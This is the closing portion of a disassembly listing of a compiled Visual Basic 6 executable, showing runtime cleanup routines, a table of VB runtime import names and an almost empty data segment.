		lea	eax, [ebp-60h]
		push	eax
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-58h]
		push	eax
		lea	eax, [ebp-54h]
		push	eax
		push	8
		call	__vbaFreeStrList
		add	esp, 24h
		lea	eax, [ebp-40h]
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		call	__vbaAryMove
		push	offset loc_40F243
		jmp	short loc_40F216
; ---------------------------------------------------------------------------


loc_40F1B9:				; DATA XREF: .text:0040138Co
		test	byte ptr [ebp-4], 4
		jz	short loc_40F1CD
		lea	eax, [ebp-48h]
		push	eax
		xor	esi, esi
		push	esi
		call	__vbaAryDestruct
		jmp	short loc_40F1CF
; ---------------------------------------------------------------------------


loc_40F1CD:				; CODE XREF: .text:0040F1BDj
		xor	esi, esi


loc_40F1CF:				; CODE XREF: .text:0040F1CBj
		lea	eax, [ebp-4Ch]
		push	eax
		call	__vbaAryUnlock
		lea	eax, [ebp-50h]
		push	eax
		call	__vbaAryUnlock
		lea	eax, [ebp-70h]
		push	eax
		lea	eax, [ebp-6Ch]
		push	eax
		lea	eax, [ebp-68h]
		push	eax
		lea	eax, [ebp-64h]
		push	eax
		lea	eax, [ebp-60h]
		push	eax
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-58h]
		push	eax
		lea	eax, [ebp-54h]
		push	eax
		push	8
		call	__vbaFreeStrList
		add	esp, 24h
		lea	eax, [ebp-74h]
		push	eax
		push	esi
		call	__vbaAryDestruct
		retn
; ---------------------------------------------------------------------------


loc_40F216:				; CODE XREF: .text:0040F1B7j
					; DATA XREF: .text:00401388o
		lea	eax, [ebp-1Ch]
		push	eax
		xor	esi, esi
		push	esi
		call	__vbaAryDestruct
		lea	eax, [ebp-34h]
		mov	[ebp-0D8h], eax
		lea	eax, [ebp-0D8h]
		push	eax
		push	esi
		call	__vbaAryDestruct
		lea	eax, [ebp-40h]
		push	eax
		push	esi
		call	__vbaAryDestruct
		retn
; ---------------------------------------------------------------------------


loc_40F243:				; DATA XREF: .text:0040F1B2o
		mov	ecx, [ebp-14h]
		mov	eax, [ebp-48h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_40F257:				; CODE XREF: .text:0040ED8Bj
					; .text:0040ED97j ...
		call	__vbaErrorOverflow
; ---------------------------------------------------------------------------
		db 4 dup(0CCh)
dword_40F260	dd 9E9E9E9Eh, 0F28Ch, 2	dup(0FFFFFFFFh), 0F40Ch, 1000h
					; DATA XREF: .text:0040176Co
		dd 5 dup(0)
		dd 0F41Ah, 0F428h, 0F432h, 0F440h, 0F450h, 0F460h, 0F470h
		dd 0F480h, 0F492h, 0F4A6h, 80000204h, 0F4B6h, 0F4C4h, 0F4D8h
		dd 0F4E6h, 0F4FCh, 0F510h, 0F524h, 0F534h, 0F542h, 0F556h
		dd 0F566h, 0F578h, 0F58Ah, 80000277h, 0F594h, 80000278h
		dd 0F5A2h, 0F5B2h, 8000020Eh, 0F5C0h, 0F5D2h, 0F5EEh, 0F5FCh
		dd 0F612h, 80000231h, 0F624h, 0F630h, 80000233h, 0F642h
		dd 0F650h, 0F666h, 0F674h, 0F68Ch, 0F69Ah, 0F6AEh, 0F6BCh
		dd 0F6C6h, 0F6DCh, 0F6F0h, 0F6FEh, 80000260h, 0F710h, 800002CDh
		dd 0F724h, 0F734h, 0F742h, 0F754h, 80000284h, 0F762h, 0F76Ch
		dd 0F782h, 0F792h, 80000288h, 8000023Ah, 0F7A2h, 0F7B4h
		dd 0F7C6h, 0F7D6h, 800002A9h, 0F7E4h, 0F7F8h, 0F80Ah, 0F81Ch
		dd 80000064h, 0F82Ah, 0F838h, 0F848h, 0F858h, 0F86Ah, 0F878h
		dd 0F88Ah, 0F896h, 80000269h, 0F8A6h, 0F8B0h, 0F8C0h, 0F8D0h
		dd 8000026Bh, 0F8E2h, 0F8ECh, 0F8F6h, 0F908h, 0F912h, 0F922h
		dd 0
		dd 4256534Dh, 30364D56h, 4C4C442Eh, 0
a__vbavarsub_0	db '__vbaVarSub',0
		dd 435F0000h, 736F6349h, 0
a_adj_fptan	db '_adj_fptan',0
		align 10h
		dd 5F5F0000h, 56616276h, 6F4D7261h, 6576h, 5F5F0000h, 46616276h
		dd 56656572h, 7261h, 5F5F0000h,	41616276h, 6F4D7972h, 6576h
		dd 5F5F0000h, 4C616276h, 73426E65h, 7274h, 5F5F0000h, 53616276h
		dd 61567274h, 766F4D72h, 65h, 62765F5Fh, 65724661h, 72615665h
		dd 7473694Ch, 0
a_adj_fdiv_m64	db '_adj_fdiv_m64',0
		align 4
a_adj_fprem1	db '_adj_fprem1',0
		dd 5F5F0000h, 52616276h, 6E416365h, 6F546973h, 696E55h
		dd 5F5F0000h, 53616276h, 61437274h, 74h, 62765F5Fh, 74655361h
		dd 74737953h, 72456D65h, 726F72h, 5F5F0000h, 52616276h
		dd 65446365h, 75727473h, 7463h,	5F5F0000h, 56616276h, 56677261h
		dd 6F437261h, 7970h, 615F0000h,	665F6A64h, 5F766964h, 32336Dh
		dd 5F5F0000h, 41616276h, 61567972h, 72h, 62765F5Fh, 79724161h
		dd 74736544h, 74637572h, 0
a__vbaonerror_0	db '__vbaOnError',0
		align 4
a_adj_fdiv_m16i	db '_adj_fdiv_m16i',0
		align 4
		dd 615F0000h, 665F6A64h, 72766964h, 36316D5Fh, 69h, 7349435Fh
		dd 6E69h, 5F5F0000h, 45616276h,	65736172h, 0
a__vbavarzero_0	db '__vbaVarZero',0
		align 4
a__vbachkstk	db '__vbaChkstk',0
		dd 5F5F0000h, 46616276h, 43656C69h, 65736F6Ch, 0
a__vbagenerat_0	db '__vbaGenerateBoundsError',0
		align 10h
a__vbastrcmp_0	db '__vbaStrCmp',0
		dd 5F5F0000h, 41616276h, 6F437972h, 7274736Eh, 32746375h
		dd 0
a__vbaputowne_0	db '__vbaPutOwner3',0
		align 4
		dd 5F5F0000h, 49616276h, 344932h, 6C440000h, 6E75466Ch
		dd 6F697463h, 6C61436Eh, 6Ch, 62765F5Fh, 6F624C61h, 646E75h
		dd 5F5F0000h, 52616276h, 6D696465h, 73657250h, 65767265h
		dd 0
a_adj_fpatan	db '_adj_fpatan',0
		dd 5F5F0000h, 46616276h, 74737869h, 6E6F4372h, 75727473h
		dd 7463h, 5F5F0000h, 52616276h,	6D696465h, 0
a__vbarecunit_0	db '__vbaRecUniToAnsi',0
		align 10h
a__vbaui1i2_0	db '__vbaUI1I2',0
		align 4
		dd 435F0000h, 72717349h, 74h, 62765F5Fh, 63784561h, 48747065h
		dd 6C646E61h, 7265h, 5F5F0000h,	53616276h, 6F547274h, 63696E55h
		dd 65646Fh, 615F0000h, 665F6A64h, 6D657270h, 0
a_adj_fdivr_m64	db '_adj_fdivr_m64',0
		align 10h
		dd 5F5F0000h, 46616276h, 63784550h, 69747065h, 6E6Fh, 5F5F0000h
		dd 49616276h, 7274536Eh, 726156h, 5F5F0000h, 55616276h
		dd 6E756F62h, 64h, 62765F5Fh, 74654761h, 656E774Fh, 3372h
		dd 5F5F0000h, 56616276h, 61437261h, 74h, 6C49435Fh, 676Fh
		dd 5F5F0000h, 45616276h, 726F7272h, 7265764Fh, 776F6C66h
		dd 0
a__vbafileope_0	db '__vbaFileOpen',0
		align 4
a__vbavar2vec_0	db '__vbaVar2Vec',0
		align 4
a_adj_fdiv_m32i	db '_adj_fdiv_m32i',0
		align 4
		dd 615F0000h, 665F6A64h, 72766964h, 32336D5Fh, 69h, 62765F5Fh
		dd 72745361h, 79706F43h, 0
a__vbai4str_0	db '__vbaI4Str',0
		align 4
		dd 5F5F0000h, 46616276h, 53656572h, 694C7274h, 7473h, 5F5F0000h
		dd 44616276h, 66657265h, 31797241h, 0
a_adj_fdivr_m32	db '_adj_fdivr_m32',0
		align 4
		dd 615F0000h, 665F6A64h, 5F766964h, 72h, 62765F5Fh, 56344961h
		dd 7261h, 5F5F0000h, 56616276h,	6D437261h, 714570h, 5F5F0000h
		dd 41616276h, 6F4C7972h, 6B63h,	5F5F0000h, 53616276h, 6F547274h
		dd 69736E41h, 0
a__vbavardup_0	db '__vbaVarDup',0
		dd 5F5F0000h, 41616276h, 61567972h, 72615672h, 67h, 62765F5Fh
		dd 49704661h, 34h, 62765F5Fh, 72615661h, 79706F43h, 0
a_ciatan	db '_CIatan',0
		dd 5F5F0000h, 41616276h, 6F437972h, 7970h, 5F5F0000h, 53616276h
		dd 6F4D7274h, 6576h, 5F5F0000h,	53616276h, 61567274h, 706F4372h
		dd 79h,	6C6C615Fh, 6C756Dh, 435F0000h, 6E617449h, 0
a__vbaaryunlo_0	db '__vbaAryUnlock',0
		align 4
		dd 435F0000h, 70786549h, 0
a__vbafreestr_0	db '__vbaFreeStr',0
		align 4
a__vbai4errva_0	db '__vbaI4ErrVar',0
		align 100h
_text		ends

; Section 2. (virtual address 00010000)
; Virtual size			: 000003DC (	988.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00010000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 410000h
dword_410000	dd 0							; sub_40D806+E3r
		align 8
dword_410008	dd 2 dup(0)	dword_410010	dd 0							; sub_409384+E6w ...
dword_410014	dd 0							; sub_408E65+15Ao ...
dword_410018	dd 0							; sub_409384+67o ...
dword_41001C	dd 0							; sub_408E65+129w ...
		dd 0
dword_410024	dd 3 dup(0)	dword_410030	dd 0				db 2 dup(0)
byte_410036	db 0			; DATA XREF: .text:off_4020ACo
byte_410037	db 0			; DATA XREF: .text:004020B0o
		dd 0
dword_41003C	dd 0							; sub_40DD6E:loc_40DF0Dr
		db 2 dup(0)
byte_410042	db 0			; DATA XREF: .text:off_408BCCo
byte_410043	db 0			; DATA XREF: .text:off_401F3Co
		db 0
byte_410045	db 3 dup(0)		; DATA XREF: .text:off_4023F0o
dword_410048	dd 0							; sub_40DBAA+AFw ...
dword_41004C	dd 0							; sub_40DD6E+CFr ...
		dd 4 dup(0)
dword_410060	dd 0							; sub_40DBAA+9Br ...
		dd 8 dup(0)
dword_410084	dd 0							; sub_40DBAA:loc_40DC66r ...
		align 10h
byte_410090	db 0			; DATA XREF: sub_40DBAA+17Dw
					; sub_40DBAA+193r ...
		align 2
word_410092	dw 0			; DATA XREF: sub_40E194+3Fw
					; sub_40E194+61r ...
dword_410094	dd 0							; sub_40DBAA+174r ...
dword_410098	dd 0							; sub_40E01D+A7r
		dd 2 dup(0)
dword_4100A4	dd 4 dup(0)	dword_4100B4	dd 0C0h	dup(0)	dword_4103B4	dd 0				align 10h
dword_4103C0	dd 0				dd 2 dup(0)
dword_4103CC	dd 0				dd 2 dup(0)
dword_4103D8	dd 0				align 40h
_data		ends


		end start